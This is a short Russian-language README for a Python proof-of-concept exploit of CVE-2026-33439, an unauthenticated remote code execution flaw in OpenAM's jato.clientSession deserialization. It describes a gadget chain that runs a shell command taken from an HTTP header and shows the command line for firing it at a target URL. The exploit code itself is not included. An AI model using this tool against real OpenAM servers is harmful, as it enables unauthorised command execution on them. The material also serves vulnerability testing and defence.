CVE-2026-33439 Python PoC

Автономный Python proof of concept для уязвимости удалённого выполнения кода до аутентификации в OpenAM при десериализации jato.clientSession.

Встроенный shaded-гаджет Click/Xalan читает shell-команду из HTTP-заголовка cmd и возвращает её вывод в HTTP-ответе. Внешние Python-пакеты, среда выполнения Java или JAR-файлы не требуются.

Использование

python3 exploit.py \
  --url https://target.example/openam/ui/PWResetUserValidation \
  'id'

Необязательные аргументы:

--timeout SECONDS     Таймаут запроса (по умолчанию: 15)
--proxy URL           HTTP-прокси, например http://127.0.0.1:8080
--verify-tls          Включить проверку TLS-сертификата

Ссылки

• Рекомендация по безопасности OpenAM GHSA-2cqq-rpvq-g5qj